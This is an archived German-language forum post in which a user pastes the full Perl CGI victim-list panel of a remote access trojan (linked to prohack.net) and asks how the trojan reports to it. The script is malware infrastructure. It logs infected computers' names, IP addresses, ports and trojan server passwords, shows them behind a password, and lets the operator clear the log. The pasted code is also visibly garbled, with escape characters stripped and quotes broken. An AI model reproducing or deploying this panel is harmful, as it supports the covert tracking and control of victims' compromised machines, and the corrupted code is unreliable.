PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Cgi Notification?



Drake
23.08.2008, 12:56
Hi alle man :)
Ich hatte mal einen RAT der in C++ geschrieben war und der irgendtwas mit PRO hieß. Der konnte eine cgi-Datei erstellen, die in Perl geschrieben war, die ,wenn man sie auf eine Seite ladet und den Server richtig configuriert hat, einen alle infos zu allen angesteckten PCs gab (IP etc.)
Der Code ist:

#!/usr/bin/perl
$lang1 = "Cant be found!";
$lang2 = "Victim List (-Please enter you password again-)";
$lang3 = "Wrong Password. Please check your password!";
$lang4 = "OKEY";
$lang5 = "Victim List (-Enter Your Password-)";
$lang6 = "Please Enter Your Password:";
$lang7 = "Victim List";
$lang8 = "VICTIM LÝST";
$lang9 = "CGI TEST :";
$lang10 = "TEST";
$lang11 = "JANUARY";
$lang12 = "FEBRUARY";
$lang13 = "MARCH";
$lang14 = "APRIL";
$lang15 = "MAY";
$lang16 = "JUNE";
$lang17 = "JULY";
$lang18 = "AUGUST";
$lang19 = "SEPTEMBER";
$lang20 = "OCTOBER";
$lang21 = "NOVEMBER";
$lang22 = "DECEMBER";
$lang23 = "SUNDAY";
$lang24 = "MONDAY";
$lang25 = "TUESDAY";
$lang26 = "WEDNESDAY";
$lang27 = "THURSDAY";
$lang28 = "FRIDAY";
$lang29 = "SATURDAY";
$lang30 = "DATE:";
$lang31 = "TIME:";
$lang32 = "REFRESH PAGE";
$lang33 = "DELETE RECORDS";
$lang34 = "PC NAME";
$lang35 = "IP ADDRESS";
$lang36 = "PORT";
$lang37 = "VICTIM";
$lang38 = "SERVER";
$lang39 = "TIME";
$lang40 = "DATE";
$lang41 = "PASSWORD";
$lang42 = "windows-1252";
################################################## ###############################################

read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@ciftler = split(/&/, $buffer);
foreach $cift (@ciftler)
{
($isim, $deger) = split(/=/, $cift);
$deger =~ s/(%0D)+//ig;
$deger =~ tr/+/ /;
$deger=~ s/%(..)/pack("c",hex($1))/ge;
$deger =~ s/n/
/g;
${$isim} = $deger;
}
@degerler=split(/&/,$ENV{'QUERY_STRING'});
foreach $i (@degerler) {
($alanadi,$deger)=split(/=/,$i);
$deger=~ tr/+/ /;
$deger=~ s/%(..)/pack("c",hex($1))/ge;
$deger =~ s/n/
/g;
${$alanadi}=$deger;
}
################################################## ###############################################
# SETTINGS #
################################################## ###############################################
$script_name = "thisisnothing.cgi";
$log_file = "log.dat";
$password = "PASS";
$show_list = "100";
################################################## ###############################################

open (FILE,"+<$log_file") || die "$log_file $lang1n";
@list = <FILE>;
close(FILE);
@list=reverse(@list);

while ($#list >= $show_list) {
pop @list;
}

if ($islem eq "log"){&log;exit;}
if (($islem eq "temizle")&&($pass eq $password)){&temizle;exit;}
if ($password eq ""){&sayfa;}
if ($islem eq ""){&pass;exit;}
if (($islem eq "giris")&&($pass eq $password)){&sayfa;exit;}&hatali;exit;

sub hatali {
print "Content-type:text/htmlnn";
print "<html>n";
print "<head><meta http-equiv=Content-Type content=text/html; charset=$lang42>n";
print "<title>$lang2</title></head>n";
print "<body bgcolor=#235BD9>n";
print "<table border =5 cellpadding =0 cellspacing =1 bgcolor =#E0E4F3 bordercolor = #5969AE width="40%" align=center>



n";
print "<center><tr bgcolor=#5969AE><td><center><table><font color=#E0E4F3 font style=font-size:13 face=sans-serif, Arial, Helvetica>n";
print "$lang3</font></table></center></tr></center>n";
print "<tr bgcolor=#E0E4F3><td><center><table border=0 cellpadding=4 cellspacing=0><tr>
</tr></table></center>n";
print "<center><form action=$script_name>n";
print "<input type=parola name=pass size=30%>n";
print "<input type=hidden name=islem value=giris>n";
print "<input type=submit value="$lang4">n";
print "</form></center>
n";
print "</td></tr></table>n";
print "</body></html>n";
exit;
}

sub pass {
print "Content-type:text/htmlnn";
print "<html>n";
print "<head><meta http-equiv=Content-Type content=text/html; charset=$lang42>n";
print "<title>$lang5</title></head>n";
print "<body bgcolor=#235BD9>n";
print "<table border =5 cellpadding =0 cellspacing =1 bgcolor =#E0E4F3 bordercolor = #5969AE width="40%" align=center>



n";
print "<center><tr bgcolor=#5969AE><td><center><table><font color=#E0E4F3 font style=font-size:13 face=sans-serif, Arial, Helvetica>n";
print "$lang6</font></table></center></tr></center>n";
print "<tr bgcolor=#E0E4F3><td><center><table border=0 cellpadding=4 cellspacing=0><tr>
</tr></table></center>n";
print "<center><form action=$script_name>n";
print "<input type=parola name=pass size=30%>n";
print "<input type=hidden name=islem value=giris>n";
print "<input type=submit value="$lang4">n";
print "</form></center>
n";
print "</td></tr></table>n";
print "</body></html>n";
exit;
}

sub sayfa {
print "Content-type:text/htmlnn";
print "<html>n";
print "<head><meta http-equiv=Content-Type content=text/html; charset=$lang42>n";
print "<title>$lang7</title>n";
print "<style type=text/css><!--body {scrollbar-face-color:#E0E4F3; scrollbar-highlight-color:#5969AE;n";
print "scrollbar-shadow-color: #5969AE; scrollbar-arrow-color: #5969AE; scrollbar-track-color: #0101F5; }n";
print "A:active {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none}n";
print "A:hover {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none}n";
print "A:link {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none}n";
print "A {color: #5969AE; font-family: sans-serif, Arial, Helvetica; text-decoration: none} -->n";
print "</style></head><body onLoad="startclock();" topmargin="4" bgcolor="#0101F5"><center>=<u>$lang8</u> (http://www.prohack.net">n)=n";
print "<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber1" width="100%">n";
print "<tr><td><form method="POST" action="$script_name"><input type="hidden" name="islem" value="log">n";
print "<input type="hidden" name="pass" value="$password"><p align="center"><font color="#E0E4F3">$lang9</font>n";
print "<input type="text" name="bilgisayaradi" size="10" value="$lang34" tabindex="01" style="border: 3px double #5969AE; background-color: #E0E4F3">n";
print "<input type="text" name="ipadresi" size="10" value="$lang35" tabindex="02" style="border: 3px double #5969AE; background-color: #E0E4F3">n";
print "<input type="text" name="serverportu" size="10" value="$lang36" tabindex="03" style="border: 3px double #5969AE; background-color: #E0E4F3">n";
print "<input type="text" name="kurban" size="10" value="$lang37" tabindex="04" style="border: 3px double #5969AE; background-color: #E0E4F3">n";
print "<input type="text" name="servermodeli" size="10" value="$lang38" tabindex="05" style="border: 3px double #5969AE; background-color: #E0E4F3">n";
print "<input type="text" name="serversaati" size="10" value="$lang39" tabindex="06" style="border: 3px double #5969AE; background-color: #E0E4F3">n";
print "<input type="text" name="servertarihi" size="10" value="$lang40" tabindex="07" style="border: 3px double #5969AE; background-color: #E0E4F3">n";
print "<input type="text" name="serversifre" size="10" value="$lang41" tabindex="08" style="border: 3px double #5969AE; background-color: #E0E4F3">n";
print "<input type="submit" value="$lang10" name="TEST" tabindex="09" style="border: 3px double #5969AE; background-color: #E0E4F3; font-weight:bold">n";
print "</p></form></td></tr></table>n";
print "<script language="JavaScript">n";
print "var timerID = nulln";
print "var timerRunning = falsen";
print "function MakeArray(size) n";
print "{n";
print "this.length = size;n";
print "for(var i = 1; i <= size; i++)n";
print "{n";
print "this[i] = "";n";
print "}n";
print "return this;n";
print "}n";
print "function stopclock (){n";
print "if(timerRunning)n";
print "clearTimeout(timerID);n";
print "timerRunning = falsen";
print "}n";
print "function showtime () {n";
print "var now = new Date();n";
print "year = new String(now.getYear())n";
print "yearLen = year.lengthn";
print "year = year.split("")n";
print "year = year[yearLen - 4] + year[yearLen - 3] + year[yearLen - 2] + year[yearLen - 1]n";
print "var month = now.getMonth()+1;n";
print "Month = new MakeArray(12);n";
print "Month[1]="$lang11";n";
print "Month[2]="$lang12";n";
print "Month[3]="$lang13";n";
print "Month[4]="$lang14";n";
print "Month[5]="$lang15";n";
print "Month[6]="$lang16";n";
print "Month[7]="$lang17";n";
print "Month[8]="$lang18";n";
print "Month[9]="$lang19";n";
print "Month[10]="$lang20";n";
print "Month[11]="$lang21";n";
print "Month[12]="$lang22";n";
print "var date = now.getDate();n";
print "var hours = now.getHours();n";
print "var minutes = now.getMinutes();n";
print "var seconds = now.getSeconds();n";
print "var day = now.getDay();n";
print "Day = new MakeArray(7);n";
print "Day[0]="$lang23";n";
print "Day[1]="$lang24";n";
print "Day[2]="$lang25";n";
print "Day[3]="$lang26";n";
print "Day[4]="$lang27";n";
print "Day[5]="$lang28";n";
print "Day[6]="$lang29";n";
print "var timeValue = "";n";
print "timeValue += ((month < 10) ? " " : " ");n";
print "timeValue += "$lang30 " + date + "-" + (Month[month]) + "-" + year + "-" + (Day[day]) + " " + "$lang31 ";n";
print "timeValue += ((hours <= 24) ? hours : hours - 12);n";
print "timeValue += ((minutes < 10) ? ":0" : ":") + minutes;n";
print "timeValue += ((seconds < 10) ? ":0" : ":") + seconds;n";
print "timeValue += (hours < 12) ? " AM" : " PM";n";
print "document.saatvetarih.face.value = timeValue;n";
print "timerID = setTimeout("showtime()",1000);n";
print "timerRunning = truen";
print "}n";
print "function startclock () {n";
print "stopclock();n";
print "showtime()n";
print "}n";
print "// End Hiding -->n";
print "</script>n";
print "<center><table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">n";
print "<tr><td width="34%" align="center"><form name="saatvetarih">n";
print "<input type=text name='face' size=55 style="border-style:solid; border-width:0; color: #E0E4F3; font-family: sans-serif, Arial, Helvetica; background-color: #0101F5; font-size:10px; font-weight:bold">n";
print "</td></form><td width="33%" align="center"><font size="1">$lang32</font> ($script_name?pass=$pass&islem=giris" style="text-decoration: none">n)</font></td><td width="33%" align="center"><font size="1">n";
print "$lang33</font> ($script_name?pass=$pass&islem=temizle" style="text-decoration: none">n)</font></td></tr></table></center>n";
print "<table border =5 cellpadding =0 cellspacing =1 bgcolor =#E0E4F3 bordercolor = #5969AE width="100%">n";
print "<td><center><font color="#495A97" style=font-size:14 face=Tahoma>$lang34</td>n";
print "<td><center><font color="#495A97" style=font-size:14 face=Tahoma>$lang35</td>n";
print "<td><center><font color="#495A97" style=font-size:14 face=Tahoma>$lang36</td>n";
print "<td><center><font color="#495A97" style=font-size:14 face=Tahoma>$lang37</td>n";
print "<td><center><font color="#495A97" style=font-size:14 face=Tahoma>$lang38</td>n";
print "<td><center><font color="#495A97" style=font-size:14 face=Tahoma>$lang39</td>n";
print "<td><center><font color="#495A97" style=font-size:14 face=Tahoma>$lang40</td>n";
print "<td><center><font color="#495A97" style=font-size:14 face=Tahoma>$lang41</td>@listn";
print "</tr></table></body></html>n";
exit;
}

sub log {
$mono = "<tr><td>".$bilgisayaradi."</td><td>".$ipadresi."</td><td>".$serverportu."</td><td>".$kurban."</td><td>".$servermodeli."</td><td>".$serversaati."</td><td>".$servertarihi."</td><td>".$serversifre."</td>n";
open(DOSYA,">>$log_file");
print DOSYA $mono;
close(DOSYA);
print "Location: $script_name?islem=giris&pass=$passnn";
}

sub temizle {
open(DOSYA,">$log_file");
print DOSYA $mono;
close(DOSYA);
print "Location: $script_name?islem=giris&pass=$passnn";
}


Jetzt würd ich nur gern wissen wie das Programm diesem Cgi-Programm alles mitteilt. Falls das ins Perl Forum gehört tuts mir leid.
TIA,
Drake